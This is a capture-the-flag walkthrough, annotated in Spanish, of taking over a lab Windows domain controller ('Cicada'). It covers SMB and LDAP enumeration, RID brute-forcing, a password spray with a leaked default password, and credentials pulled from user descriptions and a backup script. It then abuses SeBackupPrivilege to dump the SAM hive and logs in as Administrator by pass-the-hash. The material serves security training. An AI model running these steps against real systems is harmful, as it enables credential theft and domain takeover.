Cicada

nmap

```
nmap -sC -sV 10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 11:16 CEST
Nmap scan report for 10.10.11.35
Host is up (0.13s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-09 16:17:00Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 6h59m57s
| smb2-time:
|   date: 2024-10-09T16:17:42
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.36 seconds


#Ejecutaremos netexex.
netexec smb 10.10.11.35
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing SMB protocol database
[*] Initializing WMI protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Initializing VNC protocol database
```

[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Copying default configuration file
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)

smb

#Ejecutaremos smbclient para enumerar los directorio compartidos.
smbclient -N -L //10.10.11.35

```
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        DEV             Disk
        HR              Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.35 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

#Enumeraremos los usuarios
https://www.netexec.wiki/smb-protocol/enumeration/enumerate-domain-users

```
nxc smb 10.10.11.35 -u 'Guest' -p '' --users
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb)
(signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\Guest:
```

#Vemos como el usuario "Guest" si existe en le dominio.
#Trataremos de encumerar los shares y los usuarios. con rid-brute.
https://www.netexec.wiki/smb-protocol/enumeration/enumerate-users-by-bruteforcing-rid

```
nxc smb 10.10.11.35 -u 'guest' -p '' --users --rid-brute
```

```
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb)
(signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\guest:
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)
```

#Los guardamos en un fichero y exportamos los usuarios.
```
 nxc smb 10.10.11.35 -u 'guest' -p '' --users --rid-brute > possible_users.txt
```

#Ya tenemos los usuarios.
```
cat possile_users.txt | cut -d '\' -f 2 | awk '{print $1}' > users.txt
```

#Ahora enumeraremos los directorios compartidos.
```
nxc smb 10.10.11.35 -u 'guest' -p '' --shares
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb)
(signing:True) (SMBv1:False)
```

```
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\guest:
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON                        Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL                          Logon server share
```

#Nos conectamos con smbclient y nos descargamos el fichero con “get”.

```
smbclient -N //10.10.11.35/HR
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024

                4168447 blocks of size 4096. 315617 blocks available

smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (2.4 KiloBytes/sec) (average 2.4 KiloBytes/sec)
```

#Vemos el contenido del fichero…
```
cat Notice\ from\ HR.txt
```

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

#Vemos unas credenciales por defecto:
user → michael.wrightson
passwd → Cicada$M6Corpb*@Lp#nZp!8

#Como tenemos una contraseña, trataremos de hacer un password_spray attack.
```
nxc smb 10.10.11.35 -u users.txt -p passwd.txt --continue-on-success
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb)
(signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\:Cicada$M6Corpb*@Lp#nZp!8 (Guest)
```

#Ahora que tenemos un success con el usuario “michel.wrightson”.

ldap

#Podemos dumpear la información del ldap.
ldapdomaindump ldap://10.10.11.35 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

#Luego la visualizamos en html.
file:///home/alle/Desktop/machines/Cicada/domain_users.html

Domain users
CN name SAM Name Member of groups Primary group Created on Changed on lastLogon Flags pwdLastSet SID description
Emily Oscars Emily Oscars emily.oscars Remote Management Users, Backup Operators Domain Users 08/22/24 21:20:17 10/09/24 18:57:39 10/09/24 18:57:39 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 08/22/24 21:20:17 1601
David Orelious David Orelious david.orelious Domain Users 03/14/24 12:17:29 10/09/24 18:52:32 10/09/24 18:52:32 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 03/14/24 12:17:29 1108 Just in case I forget my password is aRt$Lp#7t*VQ!3
Michael Wrightson Michael Wrightson michael.wrightson Domain Users 03/14/24 12:17:29 10/09/24 17:16:48 01/01/01 00:00:00 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 03/14/24 12:17:29 1106
Sarah Dantelia Sarah Dantelia sarah.dantelia Domain Users 03/14/24 12:17:29 08/28/24 17:26:29 01/01/01 00:00:00 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 03/14/24 12:17:29 1105
John Smoulder John Smoulder john.smoulder Domain Users 03/14/24 12:17:28 08/28/24 17:26:15 01/01/01 00:00:00 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 03/14/24 12:17:29 1104
krbtgt krbtgt krbtgt Denied RODC Password Replication Group Domain Users 03/14/24 11:14:10 03/14/24 12:16:48 01/01/01 00:00:00 ACCOUNT_DISABLED, NORMAL_ACCOUNT 03/14/24 11:14:10 502 Key Distribution Center Service Account
Guest Guest Guest Guests Domain Guests 03/14/24 11:09:25 10/09/24 17:02:24 10/09/24 18:56:37 PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 08/28/24 17:26:56 501 Built-in account for guest access to the computer/domain
Administrator Administrator Administrator Group Policy Creator Owners, Domain Admins, Enterprise Admins, Schema Admins, Administrators Domain Users 03/14/24 11:09:25 10/09/24 17:02:08 10/09/24 17:02:19 NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 08/26/24 20:08:03 500 Built-in account for administering the computer/domain

#Probaremos también si podemos obtener la descripción del usuario con “get-desc-users”
https://www.netexec.wiki/ldap-protocol/get-user-descriptions

nxc ldap 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' -M get-desc-users
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
GET-DESC... 10.10.11.35 389 CICADA-DC [+] Found following users:
GET-DESC... 10.10.11.35 389 CICADA-DC User: Administrator description: Built-in account for administering the computer/domain
GET-DESC... 10.10.11.35 389 CICADA-DC User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.10.11.35 389 CICADA-DC User: krbtgt description: Key Distribution Center Service Account
GET-DESC... 10.10.11.35 389 CICADA-DC User: david.orelious description: Just in case I forget my password is aRt$Lp#7t*VQ!3

#Vemos algo interesante, nos encontramos con las credenciales de otro usuario “david.orelious”

user → david.orellious
passwd → aRt$Lp#7t*VQ!3

#Trataremos de ver el contenido del direcorio compartido “DEV”
nxc smb 10.10.11.35 -u users.txt -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\michael.wrightson:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ

```
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON        READ            Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL          READ            Logon server share
```

#Vemos como el usuario “david.orelious”, tiene los permisos necesarios para leer el directorio “DEV”
smbclient //10.10.11.35/DEV -U david.orelious -p 'aRt$Lp#7t*VQ!3'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> dir
```
  .                                   D        0  Thu Mar 14 13:31:39 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 19:28:22 2024

                4168447 blocks of size 4096. 331042 blocks available
```

smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)

#Vemos el contenido del script.
cat Backup_script.ps1

```
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

#Tenemos las credenciales de otro usuario:

user → emily.oscars
passwd → Q!3@Lp#M6b*7t*Vt

#Nos conectaremos mediante evil-winrm.
evil-winrm -i 10.10.11.35 -u "emily.oscars" -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\emily.oscars.CICADA\Documents>

priv_escalation

Evil-WinRM PS C:\Users\emily.oscars.CICADA\Desktop> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

#Vemos como el usuario emily tiene permisos para realizar backups.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens

#Si investigamos sobre este permiso en concreto, vemos:
" If you have the SeBackupPrivilege privilege. You can change the permissions to the path you select."

#De esta forma podremos cambiar/modificar el permiso del directrorio que queramos.
#Utilizaremos este permiso para copiar ficheros a nuestra máquina local.
Evil-WinRM PS C:\Users\emily.oscars.CICADA\Desktop> reg save /?

REG SAVE KeyName FileName [/y] [/reg:32 | /reg:64]

KeyName ROOTKEY\SubKey
ROOTKEY [HKLM | HKCU | HKCR | HKU | HKCC]
SubKey The full name of a registry key under the selected ROOTKEY.

FileName The name of the disk file to save. If no path is specified, the
file is created in the current folder of the calling process.

/y Force overwriting the existing file without prompt.

/reg:32 Specifies the key should be accessed using the 32-bit registry view.

/reg:64 Specifies the key should be accessed using the 64-bit registry view.

Examples:

REG SAVE HKLM\Software\MyCo\MyApp AppBkUp.hiv
Saves the hive MyApp to the file AppBkUp.hiv in the current folder

#Creamos el directorio tmp y procedemos.
Evil-WinRM PS C:\> mkdir tmp

Directory: C:\

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/9/2024 2:10 PM tmp

Evil-WinRM PS C:\> reg save hklm\sam C:\tmp\sam
The operation completed successfully.

#Haremos lo mismo con el "rootkey" system.
Evil-WinRM PS C:\> reg save hklm\system C:\tmp\system
The operation completed successfully.

#Realmente lo que estamos manejando son colmenas de registro.
https://learn.microsoft.com/es-es/windows/win32/sysinfo/registry-hives
#Descargamos ambos.
Evil-WinRM PS C:\tmp> download sam

Info: Downloading C:\tmp\sam to sam

Info: Download successful!
Evil-WinRM PS C:\tmp> download system

Info: Downloading C:\tmp\system to system

#Le podemos añadir la extensión .hive

#Con seretsdump podremos extraer el hash del administrador, solo rendremos que aádir el system hive.
impacket-secretsdump -sam sam.hive local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] Either the SYSTEM hive or bootkey is required for local parsing, check help

impacket-secretsdump -sam sam.hive local -system system.hive
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

#Ya tenemos el hash del usuario “Administrador”.
hash → 2b87e7c93a3e8a0ea4a581937016f341

#Ahora podremos loguearnos como el usuario Administrador.
evil-winrm -i 10.10.11.35 -u "Administrator" -H '2b87e7c93a3e8a0ea4a581937016f341'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> whoami
cicada\administrator

SeBackupPrivilege

SeBackupPrivilege

The system is caused to grant all read access control to any file (limited to read operations) by this privilege. It is utilized for reading the password hashes of local Administrator accounts from the registry, following which, tools like "psexec" or "wmiexec" can be used with the hash (Pass-the-Hash technique). However, this technique fails under two conditions: when the Local Administrator account is disabled, or when a policy is in place that removes administrative rights from Local Administrators connecting remotely.
You can abuse this privilege with:

https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

following IppSec in https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec

Registry_hives

Introducción a las Colmenas del Registro

Las colmenas del registro forman la columna vertebral del Registro de Windows, un marco centralizado dentro del sistema operativo Windows diseñado para almacenar configuraciones, ajustes y casi todas las opciones relacionadas con el sistema y las aplicaciones instaladas. Estas colmenas dividen el registro en secciones distinguibles, asegurando una estructura organizada y eficiente para gestionar la plétora de configuraciones y ajustes que un sistema Windows debe manejar.

Descripción Detallada de las Colmenas del Registro

Las colmenas del registro ayudan a categorizar los datos en componentes separados bajo el Registro de Windows, facilitando una mejor gestión y acceso a los datos. El propio registro actúa como una base de datos que centraliza las configuraciones del sistema operativo, definiendo cómo se comportarán tanto el sistema como el software para los usuarios y el propio sistema.
Las Colmenas Principales

El registro de Windows está estructurado en torno a seis colmenas primarias, cada una sirviendo roles distintos pero esenciales dentro del sistema:

HKEYCLASSESROOT (HKCR): Esta colmena centraliza información sobre las aplicaciones registradas, incluyendo asociaciones de archivos y los IDs de Clase de Objetos OLE, que determinan qué programa se abrirá cuando se acceda a un tipo de archivo específico.

HKEYCURRENTUSER (HKCU): Diseñada para almacenar configuraciones específicas del usuario actualmente conectado, esta colmena contiene un enlace dinámico a la subclave de HKEY_USERS correspondiente al usuario.

HKEYLOCALMACHINE (HKLM): Como un repositorio para configuraciones del sistema a nivel general, abarca información relacionada con configuraciones de hardware y ajustes de software aplicables a todos los usuarios en la computadora.

HKEY_USERS (HKU): Esta colmena archiva preferencias y configuraciones para cada perfil de usuario en la computadora, actuando como una plantilla maestra de usuario.

HKEYCURRENTCONFIG (HKCC): Refleja el perfil de hardware del sistema en uso durante la sesión para un acceso rápido a configuraciones de hardware coincidentes.

HKEYPERFORMANCEDATA (HKPD): A diferencia de otras colmenas, esta se genera en tiempo real y proporciona acceso a datos de rendimiento del sistema, utilizados principalmente por herramientas y utilidades de monitoreo.

Mejorando la Integridad del Sistema a través de la Gestión del Registro
Prácticas Seguras

Mantener la salud e integridad de las colmenas del registro es vital para la estabilidad del sistema. Seguir medidas precautorias simples puede reducir significativamente los riesgos.

Respaldos Regulares: Respaldo periódico del registro asegura un punto de recuperación disponible en caso de corrupción.

Edición Cautelosa: Las modificaciones directas al registro deben abordarse con cautela, ya que cambios erróneos pueden causar fallos en el sistema o incluso impedir que Windows arranque.

Herramientas Confiables: La utilización de herramientas de optimización o limpieza del registro debe limitarse a aquellas de fuentes confiables y seguras para evitar daños inadvertidos al sistema.

Interacción Tecnológica y Conceptos Relacionados

Editor del Registro: Esta utilidad de Windows proporciona una interfaz para que los usuarios puedan ver y modificar directamente las configuraciones dentro de las colmenas del registro, ofreciendo un nivel de control granular sobre las configuraciones del sistema.

Claves y Valores del Registro: Sirviendo como la base de la estructura del registro, las claves actúan como carpetas que contienen valores o claves anidadas adicionales, organizando la miríada de configuraciones y opciones de manera accesible.

Reflexiones Finales

Las colmenas del registro son integrales para la flexibilidad y funcionalidad del sistema operativo Windows, permitiendo un control detallado sobre configuraciones tanto a nivel del sistema como específicas del usuario. Comprender y gestionar cautelosamente estas colmenas es fundamental para un rendimiento del sistema estable y optimizado, subrayando su rol crítico en la arquitectura del sistema Windows.